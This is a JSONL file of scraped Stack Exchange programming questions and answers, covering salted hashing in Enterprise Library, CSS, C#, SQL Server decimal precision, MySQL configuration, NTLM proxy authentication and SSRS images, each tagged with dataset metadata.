{"id": "hf_42497cbb84a5", "question": "<p>How is the salt generated in HashProvider in Microsoft Enterprise Library when we set SaltEnabled?</p>\n\n<p>Is it random to new machines? Is it some magic number?</p>\n\n<p>(I know what is a salt, the question is what's the actual value of a/the salt in Enterprise Library HashProvider)</p>\n", "question_body": "", "answer": "Edit:\nSee Microsoft.Practices.EnterpriseLibrary.Security.Cryptography.HashAlgorithmProvider for an example implementation. Hashing steps are:\nIf SaltEnabled, generate random bytes for the salt length using RNGCryptoServiceProvider.\nAppend the salt to the plaintext.\nHash the salted plaintext.\nThen (this is the important step), append the salt again to the\nhash\n.\nTo compare against hashed text, you must use:\n```\n```\npublic bool CompareHash(byte[] plaintext, byte[] hashedtext)\n```\n```\nversus rehashing and comparing. If you rehash, a new random salt is generated and you're lost.\nCompareHash does the following:\nPulls the non-hashed salt off the hashtext. Remember, it was appended at step 4 above.\nUses that salt to compute a hash for the plaintext.\nCompares the new hash with the hashedtext minus salt. If they're the same - true, else false.\nOriginal:\n\"if salt is enabled on a HashProvider, the provider will generate a random sequence of bytes, that will be added to the hash. If you compare a hashed value with a unhashed value, the salt will be extracted from the hashed value and used to hash the unhashed value, prior to comparison.\"\nand\n\"As for decoding as hash-value. this cannot be done. after creating a hash there should be no way to reverse this into the original value.\nHowever, what you can do is compare an unhashed-value with a hashed-value by putting it through the same algorithm and comparing the output.\"\nFrom\nhttp://www.codeplex.com/entlib/Thread/View.aspx?ThreadId=10284", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.146587"}
{"id": "hf_9f98c01677be", "question": "<p>I am designing a page to Add/Edit users - I used a repeater control and a table to display users. In users view the individual columns of the table row have labels to display a record values and when users click on edit button, the labels are hidden and text boxes are displayed for users to edit values - The problem is - as soon as the text boxes are visible, the table size increases - the row height and cells size becomes large. Is there a way to display the text boxes so that they take the same size as the labels</p>\n", "question_body": "", "answer": "I'd use JS+CSS... You'll have to get your hands dirty for this one though. Visual Studio isn't going to help you much.\nHere's how I'd do it:\nGet the\n```\n<td>\n```\nclientWidth and clientHeight.\nSet\nthe\n```\n<td>\n```\n's width and height to those px values (so they're no longer relative)\nSwap the text for the input\nIn your CSS, make sure the input has no padding/margin/border and set width:100%, line-height:1em, and height:1em\nWhen you switch back, make sure you un-set the\n```\n<td>\n```\nwidth and height so they return to automatic values.\nYou'll need to tweak this all slightly. I'm sure you'll have to play around with the padding on the\n```\n<td>\n```\nand perhaps set overflow:hidden but you should be able to do what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.171393"}
{"id": "hf_15bc79f78306", "question": "<p>Assume the following class:</p>\n\n<pre><code>public class MyEnum: IEnumerator\n{\n    private List&lt;SomeObject&gt; _myList = new List&lt;SomeObject&gt;();\n...\n}\n</code></pre>\n\n<p>It is necessary to implement the IEnumerator methods in MyEnum. \nBut is it possible to 'delegate' or redirect the implementation for IEnumerator directly to _myList without needing to implement the IEnumerator methods?</p>\n", "question_body": "", "answer": "Not unless you derive from List<T>.\n```\n```\npublic class MyEnum : List<SomeObject>, IEnumerable<SomeObject>{}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.208887"}
{"id": "hf_9f592a694a79", "question": "<p>the company I work for want to use a \"hosted payment form\" to charge our customers. A question came up on how we can populate the \"payment form\" automatically with information from one of our other system. We have no control over the hosed payment form, and we have to use IE. Is this possible at all? And if so, how can this be done? </p>\n\n<p>If something is unclear, please let me know...</p>\n", "question_body": "", "answer": "Unless your payment gateway allows you to pass through data in a set API (which lots do!), you'd need to take control (and responsibility) for your payment form.\nI say responsibility because you would have to prove to your merchant account provider that everything is secure. This will probably incur some security testing fees too.\nSo check with your merchant gateway first. Lots of systems have the means to accept data from your site and their tech support will be able to give you a straight answer immediately. Otherwise you'd have to switch it over so you process all the data yourself which, just for making things easier, isn't worth it IMO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.255273"}
{"id": "hf_5109d56489b5", "question": "<p>This is probably explained more easily with an example. I'm trying to find a way of turning a relative URL, e.g. \"/Foo.aspx\" or \"~/Foo.aspx\" into a full URL, e.g. <a href=\"http://localhost/Foo.aspx\" rel=\"noreferrer\">http://localhost/Foo.aspx</a>. That way when I deploy to test or stage, where the domain under which the site runs is different, I will get <a href=\"http://test/Foo.aspx\" rel=\"noreferrer\">http://test/Foo.aspx</a> and <a href=\"http://stage/Foo.aspx\" rel=\"noreferrer\">http://stage/Foo.aspx</a>.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Have a play with this (modified\nfrom here\n)\n```\n```\npublic string ConvertRelativeUrlToAbsoluteUrl(string relativeUrl) {\n    return string.Format(\"http{0}://{1}{2}\",\n        (Request.IsSecureConnection) ? \"s\" : \"\", \n        Request.Url.Host,\n        Page.ResolveUrl(relativeUrl)\n    );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.365236"}
{"id": "hf_a47affd61f40", "question": "<p>Say you want to generate a matched list of identifiers and strings</p>\n\n<pre><code>enum\n{\nNAME_ONE,\nNAME_TWO,\nNAME_THREE\n};\n\nmyFunction(NAME_ONE, \"NAME_ONE\");\nmyFunction(NAME_TWO, \"NAME_TWO\");\nmyFunction(NAME_THREE, \"NAME_THREE\");\n</code></pre>\n\n<p>..without repeating yourself, and without auto-generating the code, using C/C++ macros</p>\n\n<p><b>Initial guess:</b></p>\n\n<p>You could add an #include file containing</p>\n\n<pre><code>myDefine(NAME_ONE)\nmyDefine(NAME_TWO)\nmyDefine(NAME_THREE)\n</code></pre>\n\n<p>Then use it twice like:</p>\n\n<pre><code>#define myDefine(a) a,\nenum {\n#include \"definitions\"\n}\n#undef myDefine\n\n#define myDefine(a) myFunc(a, \"a\");\n#include \"definitions\"\n#undef myDefine\n</code></pre>\n\n<p>but #define doesn't let you put parameters within a string?</p>\n", "question_body": "", "answer": "For your second #define, you need to use the # preprocessor operator, like this:\n```\n```\n#define myDefine(a) myFunc(a, #a);\n```\n```\nThat converts the argument to a string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.417939"}
{"id": "hf_f35daf50969f", "question": "<ol>\n<li>We have a SQUID reverse proxy and a MOSS 2007 portal. All sites are using NTLM.</li>\n<li>We cannot get it working with SQUID as a reverse proxy.</li>\n</ol>\n\n<p>Any ideas where to start?</p>\n", "question_body": "", "answer": "Can you switch to Kerberos instead of NTLM?\nYou're encountering the \"Double-Hop Issue\", whereby NTLM authentication cannot traverse proxies or servers.\nThis is outlined at this location:\nhttp://blogs.msdn.com/knowledgecast/archive/2007/01/31/the-double-hop-problem.aspx\nAnd over here:\nhttp://support.microsoft.com/default.aspx?scid=kb;en-us;329986\nDouble-Hop Issue\n  The double-hop issue is when the ASPX page tries to use resources that are located on a server that is different from the IIS server. In our case, the first \"hop\" is from the web browser client to the IIS ASPX page; the second hop is to the AD. The AD requires a primary token. Therefore, the IIS server must know the password for the client to pass a primary token to the AD. If the IIS server has a secondary token, the NTAUTHORITY\\ANONYMOUS account credentials are used. This account is not a domain account and has very limited access to the AD.\nThe double-hop using a secondary token occurs, for example, when the browser client is authenticated to the IIS ASPX page by using NTLM authentication. In this example, the IIS server has a hashed version of the password as a result of using NTLM. If IIS turns around and passes the credentials to the AD, IIS is passing a hashed password. The AD cannot verify the password and, instead, authenticates by using the NTAUTHORITY\\ANONYMOUS LOGON.\nOn the other hand, if your browser client is authenticated to the IIS ASPX page by using Basic authentication, the IIS server has the client password and can make a primary token to pass to the AD. The AD can verify the password and does authenticate as the domain user.\n  For more information, click the following article number to view the article in the Microsoft Knowledge Base:\n  264921 (\nhttp://support.microsoft.com/kb/264921/\n) How IIS authenticates browser clients\nIf switching to Kerberos is not an option, have you investigated the Squid NTLM project?\nhttp://devel.squid-cache.org/ntlm/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.454888"}
{"id": "hf_38417a8300e1", "question": "<p>I'm calling a non-.NET dll from my project using P/Invoke, meaning that the .dll must always be present in the .exe's directory. </p>\n\n<p>Is there any way to tell Visual Studio of this dependency, so that it will automatically copy the .dll to the output directory when compiling, and will automatically include the .dll in the setup? Or do I have to do this manually?</p>\n", "question_body": "", "answer": "You can simply add the .DLL to your project.\nSelect the\n```\nProperties\n```\npane for that file and set\n```\nBuild Action\n```\nto\n```\nContent\n```\nand\n```\nCopy to Output Directory\n```\nto\n```\nCopy if newer\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.516758"}
{"id": "hf_d04fe40d4426", "question": "<p>I'm wanting a method called same_url? that will return true if the passed in URLs are equal. The passed in URLs might be either params options hash or strings.</p>\n\n<pre><code>same_url?({:controller =&gt; :foo, :action =&gt; :bar}, \"http://www.example.com/foo/bar\") # =&gt; true\n</code></pre>\n\n<p>The Rails Framework helper <a href=\"http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#M001607\" rel=\"nofollow noreferrer\">current_page?</a> seems like a good starting point but I'd like to pass in an arbitrary number of URLs.</p>\n\n<p>As an added bonus It would be good if a hash of params to exclude from the comparison could be passed in. So a method call might look like:</p>\n\n<pre><code>same_url?(projects_path(:page =&gt; 2), \"projects?page=3\", :excluding =&gt; :page) # =&gt; true \n</code></pre>\n", "question_body": "", "answer": "Is this the sort of thing you're after?\n```\n```\ndef same_url?(one, two)\n  url_for(one) == url_for(two)\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.540342"}
{"id": "hf_357283d9025d", "question": "<p>This is kind of hard to explain, I hope my English is sufficient:</p>\n\n<p>I have a class \"A\" which should maintain a list of objects of class \"B\" (like a private List). A consumer of class \"A\" should be able to add items to the list. After the items are added to the list, the consumer should not be able to modify them again, left alone that he should not be able to temper with the list itself (add or remove items). But he should be able to enumerate the items in the list and get their values. Is there a pattern for it? How would you do that? </p>\n\n<p>If the question is not clear enough, please let me know.</p>\n", "question_body": "", "answer": "EDIT:\nAdded support for edition contexts. Caller can only add elements inside an edition context. You can aditionally enforce that only one edition context can be created for the lifetime of the instance.\nUsing encapsulation you can define any set of policies to access the inner private member. The following example is a basic implementation of your requirements:\n```\n```\nnamespace ConsoleApplication2\n{\n    using System;\n    using System.Collections.Generic;\n    using System.Collections;\n\n    class B\n    {\n    }\n\n    interface IEditable\n    {\n        void StartEdit();\n        void StopEdit();\n    }\n\n    class EditContext<T> : IDisposable where T : IEditable\n    {\n        private T parent;\n\n        public EditContext(T parent)\n        {\n            parent.StartEdit();\n            this.parent = parent;\n        }\n\n        public void Dispose()\n        {\n            this.parent.StopEdit();\n        }\n    }\n\n    class A : IEnumerable<B>, IEditable\n    {\n        private List<B> _myList = new List<B>();\n        private bool editable;\n\n        public void Add(B o)\n        {\n            if (!editable)\n            {\n                throw new NotSupportedException();\n            }\n            _myList.Add(o);\n        }\n\n        public EditContext<A> ForEdition()\n        {\n            return new EditContext<A>(this);\n        }\n\n        public IEnumerator<B> GetEnumerator()\n        {\n            return _myList.GetEnumerator();\n        }\n\n        IEnumerator IEnumerable.GetEnumerator()\n        {\n            return this.GetEnumerator();\n        }\n\n        public void StartEdit()\n        {\n            this.editable = true;\n        }\n\n        public void StopEdit()\n        {\n            this.editable = false;\n        }\n    }\n\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            A a = new A();\n            using (EditContext<A> edit = a.ForEdition())\n            {\n                a.Add(new B());\n                a.Add(new B());\n            }\n\n            foreach (B o in a)\n            {\n                Console.WriteLine(o.GetType().ToString());\n            }\n\n            a.Add(new B());\n\n            Console.ReadLine();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.627489"}
{"id": "hf_b1522b1f61c3", "question": "<p>We've been using Scrum on a few projects now with varying success and I now have a query relating to documentation.</p>\n\n<p>In Scrum, you obviously have the product backlog (\"The application begins by bringing up the last document the user was working with.\") and the sprint task backlog (\"Implement forgot password screen\").  However, in all the examples I have seen, these two items are fairly high level in terms of detail (being designed on fit on a post-it note).</p>\n\n<p>So, where does the detail sit?  Let's say the client has some very specific requirements for a stock management screen, or has a complex API that needs to be integrated with on the back end, where is this documented, how and who captures this information?  Is it seperate to the backlog but populated on a just-in-time basis or some other way?</p>\n", "question_body": "", "answer": "My understanding is that specific requirements such as this are handled by the product owner. They will liase with the client during Sprint Planning 2 and update the tasks with specfic requirements as needed - hence why the Product Owner is a optional attendee of the Sprint Planning 2 meeting. This gives you a hybrid of Just-in-Time and Sprint Planning 2 population of the specifics. Anything that isn't satisfied by the time you come to work on the task will be an impediment and should be dealt with a the daily scrum, by the product owner.\nAs the development is Agile when using Scrum you shouldn't find too much of an issues getting requirements just in time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.651291"}
{"id": "hf_4cda77d17d9f", "question": "<p>I write a lot of dynamically generated content (developing under PHP) and I use jQuery to add extra flexibility and functionality to my projects.</p>\n\n<p>Thing is that it's rather hard to add JavaScript in an unobtrusive manner. Here's an example:</p>\n\n<p>You have to generate a random number of <code>div</code> elements each with different functionality triggered <code>onClick</code>. I can use the <code>onclick</code> attribute on my <code>div</code> elements to call a JS function with a parameter but that is just a bad solution. Also I could generate some jQuery code along with each div in my PHP <code>for</code> loop, but then again this won't be entirely unobtrusive.</p>\n\n<p>So what's the solution in situations like this?</p>\n", "question_body": "", "answer": "You need to add something to the divs that defines what type of behaviour they have, then use jQuery to select those divs and add the behaviour. One option is to use the class attribute, although arguably this should be used for presentation rather than behaviour. An alternative would be the rel attribute, but I usually find that you also want to specify different CSS for each behaviour, so class is probably ok in this instance.\nSo for instance, lets assume you want odd and even behaviour:\n```\n```\n<div class=\"odd\">...</div>\n<div class=\"even\">...</div>\n<div class=\"odd\">...</div>\n<div class=\"even\">...</div>\n```\n```\nThen in jQuery:\n```\n```\n$(document).load(function() {\n$('.odd').click(function(el) {\n// do stuff\n});\n$('.even').click(function(el) {\n// dostuff\n});\n});\n```\n```\njQuery has a very powerful selector engine that can find based on any CSS based selector, and also support some XPath and its own selectors. Get to know them!\nhttp://docs.jquery.com/Selectors", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.674997"}
{"id": "hf_b5bd15572311", "question": "<p>Debugging some finance-related SQL code found a strange issue with numeric(24,8) mathematics precision.</p>\n\n<p>Running the following query on your MSSQL you would get A + B * C expression result to be 0.123457</p>\n\n<p>SELECT A,\n       B,\n       C,\n       A + B * C\nFROM\n(\nSELECT CAST(0.12345678 AS NUMERIC(24,8)) AS A,\n       CAST(0 AS NUMERIC(24,8)) AS B,\n       CAST(500 AS NUMERIC(24,8)) AS C\n) T</p>\n\n<p>So we have lost 2 significant symbols. Trying to get this fixed in different ways i got that conversion of the intermediate multiplication result (which is Zero!) to numeric (24,8) would work fine.</p>\n\n<p>And finally a have a solution. But still I hace a question - why MSSQL behaves in this way and which type conversions actually occured in my sample?</p>\n", "question_body": "", "answer": "Just as addition of the float type is inaccurate, multiplication of the decimal types can be inaccurate (or cause inaccuracy) if you exceed the precision. See\nData Type Conversion\nand\ndecimal and numeric\n.\nSince you multiplied\n```\nNUMERIC(24,8)\n```\nand\n```\nNUMERIC(24,8)\n```\n, and SQL Server will only check the type not the content, it probably will try to save the potential 16 non-decimal digits (24 - 8) when it can't save all 48 digits of precision (max is 38). Combine two of them, you get 32 non-decimal digits, which leaves you with only 6  decimal digits (38 - 32).\nThus the original query\n```\n```\nSELECT A, B, C, A + B * C\nFROM ( SELECT CAST(0.12345678 AS NUMERIC(24,8)) AS A,\n  CAST(0 AS NUMERIC(24,8)) AS B,\n  CAST(500 AS NUMERIC(24,8)) AS C ) T\n```\n```\nreduces to\n```\n```\nSELECT A, B, C, A + D\nFROM ( SELECT CAST(0.12345678 AS NUMERIC(24,8)) AS A,\n  CAST(0 AS NUMERIC(24,8)) AS B,\n  CAST(500 AS NUMERIC(24,8)) AS C,\n  CAST(0 AS NUMERIC(38,6)) AS D ) T\n```\n```\nAgain, between\n```\nNUMERIC(24,8)\n```\nand\n```\nNUMERIC(38,6)\n```\n, SQL Server will try to save the potential 32 digits of non-decimals, so\n```\nA + D\n```\nreduces to\n```\n```\nSELECT CAST(0.12345678 AS NUMERIC(38,6))\n```\n```\nwhich gives you\n```\n0.123457\n```\nafter rounding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.723766"}
{"id": "hf_a95342d44e51", "question": "<p>I would like to change the database files location of MySQL administrator to another drive of my computer.  (I run Windows XP SP2 and MySQL Administrator 1.2.8.)</p>\n\n<p>--Under the startup variable --> General Parameters --> I changed <code>Data directory:</code> from  <code>C:/Program Files/MySQL/MySQL Server 5.0/data</code> to <code>D:/.....</code>, but after I stopped the service and restarted it, the following error appeared: </p>\n\n<pre><code>Could not re-connect to the MySQL Server.\nServer could not be started.\n\nFatal error: Can't open and lock privilege tables: Table 'mysql.host' doesn't exist\n</code></pre>\n\n<p>Has anyone else had this problem? </p>\n", "question_body": "", "answer": "Normally it works like this:\nshut down MySQL\nchange the\n```\n[mysqld]\n```\nand\n```\n[mysqld_safe]\n```\n```\ndatadir\n```\nvariable in the MySQL configuration\nchange the\n```\nbasedir\n```\nvariable in the same section.\nmove the location over\nrestart MySQL\nIf that doesn't work I have no idea.  On linux you can try to move the socket to a new location too, but that shouldn't affect windows.  Alternatively you can use a symbolic link on *nix what most people do I guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.748774"}
{"id": "hf_39b1200898a5", "question": "<p>What are the ways to eliminate the use of switch in code?</p>\n", "question_body": "", "answer": "Everybody loves HUGE\n```\nif else\n```\nblocks. So easy to read! I am curious as to why you would want to remove switch statements, though. If you need a switch statement, you probably need a switch statement. Seriously though, I'd say it depends on what the code's doing. If all the switch is doing is calling functions (say) you could pass function pointers. Whether it's a\nbetter\nsolution is debatable.\nLanguage is an important factor here also, I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.772162"}
{"id": "hf_a775a3a1fcb2", "question": "<p>I am implementing a design that uses custom styled submit-buttons. They are quite simply light grey buttons with a slightly darker outer border:</p>\n\n<pre><code>input.button {\n    background: #eee;\n    border: 1px solid #ccc;\n}\n</code></pre>\n\n<p>This looks just right in Firefox, Safari and Opera. The problem is with Internet Explorer, both 6 and 7. </p>\n\n<p>Since the form is the first one on the page, it's counted as the main form - and thus active from the get go. The first submit button in the active form receives a solid black border in IE, to mark it as the main action.</p>\n\n<p>If I turn off borders, then the black extra border in IE goes away too. I am looking for a way to keep my normal borders, but remove the outline.</p>\n", "question_body": "", "answer": "Right, well here's an ugly fix for you to weigh up... Stick the button in a\n```\n<span>\n```\n, nuke the border on the button and give the border to the span instead.\nIE is a bit iffy about form element margins so this might not work precisely. Perhaps giving the span the same background as the button might help in that respect.\n```\n```\nspan.button {\n    background: #eee;\n    border: 1px solid #ccc;\n}\n\nspan.button input {\n    background: #eee;\n    border:0;\n}\n```\n```\nand\n```\n```\n<span class=\"button\"><input type=\"button\" name=\"...\" value=\"Button\"/></span>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.830425"}
{"id": "hf_a77a55ce57c1", "question": "<p>I want to execute a certain batch file and redirect its console output to a text control in visual c++ or redirect the console output at the same time the logs/echo are showing.</p>\n", "question_body": "", "answer": "Basically, you have to make the run process to write to a pipe, and to read the output of this pipe.\n[EDIT] I know how SciTE does that (you can take a look at the source: win32/SciTEWin.cxx, ExecuteOne function), I searched a slightly more generic way, found\nHow to spawn console processes with redirected standard handles\nfrom Microsoft itself.\nIf you seach\nCreatePipe PeekNamedPipe CreateProcess\nkeyword, for example, you might find other examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.865521"}
{"id": "hf_dfc382ed92c1", "question": "<p>I am running following <code>PHP</code> code to interact with a MS Access database.</p>\n\n<pre><code>$odbc_con = new COM(\"ADODB.Connection\");\n$constr = \"DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=\" . $db_path . \";\";\n$odbc_con -&gt; open($constr);\n\n$rs_select = $odbc_con -&gt; execute (\"SELECT * FROM Main\");\n</code></pre>\n\n<p>Using <code>($rs_select -&gt; RecordCount)</code> gives -1 though the query is returning non-zero records.</p>\n\n<p>(a) What can be the reason?\n(b) Is there any way out?</p>\n\n<p>I have also tried using <code>count($rs_select -&gt; GetRows())</code>. This satisfies the need but looks inefficient as it will involve copying of all the records into an array first.</p>\n", "question_body": "", "answer": "Doesn't Access have its own COUNT operator? eg:\n```\n```\n$rs_select = $odbc_con -> execute (\"SELECT COUNT(*) FROM Main\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.925465"}
{"id": "hf_1cfcd44848f8", "question": "<p>I'm look for a GIS/Mapping tool that will give me easy SERVER-SIDE access to route information (specifically, trip time and distance) in an ASP.NET web application.</p>\n\n<p>From what I can tell, Google and Yahoo maps do everything client-side in javascript, but neither provide services to retrieve just the route information. I'm interested in both free and paid products. Also, if you have experience with a product I like to hear about what you think (complexity of API, runtime performance, likes, dislikes, etc.)</p>\n", "question_body": "", "answer": "We've had success with using the web services from Map24 (\nhttp://developer.navteq.com/site/global/zones/ms/index.jsp\n) to do some GIS-y type things. They have a web service for doing routing (\nhttp://developer.navteq.com/site/global/zones/ms/map24webservices/map24routingservice.jsp\n) which I had a quick play with last year.\nThere's a bit of a learning curve wih their APIs but once you get past it their stuff is quite powerful and performs really well.\nPhil", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.949330"}
{"id": "hf_f83ad9a27451", "question": "<p>I could swear I've seen the function (or method) that takes a list, like this <code>[3, 7, 19]</code> and makes it into iterable list of tuples, like so: <code>[(0,3), (1,7), (2,19)]</code> to use it instead of:</p>\n\n<pre><code>for i in range(len(name_of_list)):\n    name_of_list[i] = something\n</code></pre>\n\n<p>but I can't remember the name and googling \"iterate list\" gets nothing.</p>\n", "question_body": "", "answer": "```\n```\n>>> a = [3,4,5,6]\n>>> for i, val in enumerate(a):\n...     print i, val\n...\n0 3\n1 4\n2 5\n3 6\n>>>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.985481"}
{"id": "hf_9faee28a623c", "question": "<p>On the safari browser, the standard &lt;asp:Menu&gt; doesn't render well at all. How can this be fixed?</p>\n", "question_body": "", "answer": "You can use ControlAdapters to alter the rendering of server controls.\nHere's an example:\nhttp://www.pluralsight.com/community/blogs/fritz/archive/2007/03/27/46598.aspx\nThough, in my opinion it might be equal amount of work to abandon the menu control for a pure css one (available on many sites).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.021175"}
{"id": "hf_44dc837cd227", "question": "<p>Running VS2003/05 under Vista makes the former screw up the display at least 50% of the time - you start debugging, VS kicks in and you see the windows/docking panes screwed up, not refreshing, etc... I've contacted Microsoft about this, but they weren't much help, I was wondering if someone knows any fixes?</p>\n\n<p>I'm running VS with visual styles turned off under Vista, so that it doesn't hang when you try to do a \"find in files\".</p>\n\n<p>All the latest updates/service packs are installed.</p>\n", "question_body": "", "answer": "For Visual Studio 2005 , install the\nMicrosoft® Visual Studio® 2005  Service Pack 1\nand the\nVisual Studio 2005 Service Pack 1 Update for Windows Vista\nTake a look at the\nVisual Studio .NET 2003 on Windows Vista Issue List\nand see if you find something there.\nAnd see if that help things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.045512"}
{"id": "hf_b2a429bc0943", "question": "<p>I want to replace a single file inside a msi. How to do it?</p>\n", "question_body": "", "answer": "You need to extract the CAB file stream from your msi using\nMsiDB.exe\n(supplied with the\nWindows Installer SDK\n). Run it from the\ncommand line with the -x option\nand specify the name of the cab file - this is listed in the Media table in the msi database.\nAlternatively you can skip this part if you specify the \"Package Files as:\" option in the VSI options to \"Compresses in Cabinet Files\" to have the cab file left out of the msi when it's built (it will be created in the same directory as the msi).\nOnce extracted you can change the specified file in the cab folder - its name has been mangled so you need to find out what msi name for the file is in the file table and then rename your new file to that.\nOnce done you can pop it back in with the\nMsiDB utility using the -a option\n.\nBefore you add with -a you need to use\nmsidb -k\nto\nremove the cab from the MSI\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.069755"}
{"id": "hf_4e8383a47032", "question": "<p>I have a requirement to be be able to embed scanned tiff images into some SSRS reports.</p>\n\n<p>When I design a report in VS2005 and add an image control the tiff image displays perfectly however when I build it. I get the warning :</p>\n\n<p><code>Warning    2   [rsInvalidMIMEType] The value of the MIMEType property for the image ‘image1’ is “image/tiff”, which is not a valid MIMEType.   c:\\SSRSStuff\\TestReport.rdl 0   0</code></p>\n\n<p>and instead of an image I get the little red x.</p>\n\n<p>Has anybody overcome this issue?</p>\n", "question_body": "", "answer": "Assuming you're delivering the image file via IIS, use an ASP.NET page to change image formats and mime type to something that you\ncan\nuse.\n```\n```\nResponse.ContentType = \"image/png\";\nResponse.Clear();\nusing (Bitmap bmp = new Bitmap(tifFilepath))\n  bmp.Save(Response.OutputStream, ImageFormat.Png);\nResponse.End();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.105638"}
